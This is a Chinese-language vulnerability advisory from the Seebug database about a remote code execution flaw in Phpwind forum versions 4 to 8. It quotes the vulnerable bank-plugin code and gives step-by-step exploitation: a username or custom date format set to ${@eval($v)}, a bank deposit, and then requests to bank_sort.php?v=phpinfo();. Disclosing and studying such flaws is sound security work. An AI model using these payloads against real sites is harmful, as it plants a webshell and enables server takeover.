Phpwind的v4/5/6/7/8命令执行漏洞

2015-11-10T00:00:00
ID SSV:94464
Type seebug
Reporter Root
Modified 2015-11-10T00:00:00

Description

简要描述:

07年那阵挖掘的漏洞,正好这次三个白帽搞了个挑战,借这个机会曝光吧,外面估计也有部分人知道这个吧:)

详细说明:

hack/bank/index.php

$_DDESPOSTDB=array(); $query=$db->query("SELECT i.uid,username,ddeposit,dstartdate FROM pw_memberinfo i LEFT JOIN pw_members m ON m.uid=i.uid ORDER BY ddeposit DESC LIMIT $bk_num"); while($deposit=$db->fetch_array($query)){ if($deposit['ddeposit']){ $deposit['dstartdate']=get_date($deposit['dstartdate']); $_DDESPOSTDB[]=array($deposit['uid'],$deposit['username'],$deposit['ddeposit'],$deposit['dstartdate']); } } $wirtedb=savearray('_DESPOSTDB',$_DESPOSTDB); $wirtedb.="\n".savearray('_DDESPOSTDB',$_DDESPOSTDB); writeover(D_P.'data/bbscache/bank_sort.php',"<?php\r\n".$wirtedb.'?>'); } ... function savearray($name,$array){ $arraydb="\$$name=array(\r\n\t\t"; foreach($array as $value1){ $arraydb.='array('; foreach($value1 as $value2){ $arraydb.='"'.addslashes($value2).'",'; } $arraydb.="),\r\n\t\t"; } $arraydb.=");\r\n"; return $arraydb; }

挺明显的一个漏洞,里面可以利用的点是注册的用户名和日期格式,不过这两个地方都有字数限制,真正要利用起来的话需要点技巧,废话不多说了,直接贴上当时写的一个简单的利用方式:

phpwind所有版本远程代码执行漏洞 i) 注册新用户,用户名为${@eval($v)},发表新帖或其他方式获得金钱后,使用银行插件进行存款,待论坛缓存更新后[默认为5小时],data/bbscache/bank_sort.php文件会含有如下代码: eval($v) 利用方法[PW6以上版本需要register_globals=on]: **.**.**.**/phpwind/data/bbscache/bank_sort.php?v=phpinfo(); **.**.**.**/phpwind/hack.php?H_name=bank&v=phpinfo(); ii) 编辑用户资料,在[日期格式][自定义]处填写${@\ev\a\l($v)},使用银行插件进行存款,待论坛缓存更新后[默认为5小时],data/bbscache/bank_sort.php文件会含有如下代码: eval($v) 利用方法[PW6以上版本需要register_globals=on]: **.**.**.**/phpwind/data/bbscache/bank_sort.php?v=phpinfo(); **.**.**.**/phpwind/hack.php?H_name=bank&v=phpinfo();

成文较早,并且关于PW6的说明是后加入的,因为没怎么跟PW5后的代码,当时的描述可能不准确,后来听某人跟我反馈说PW6里貌似有可直接利用的变量,从而绕过全局的限制,我就不再验证了,有兴趣的自行跟。

漏洞证明: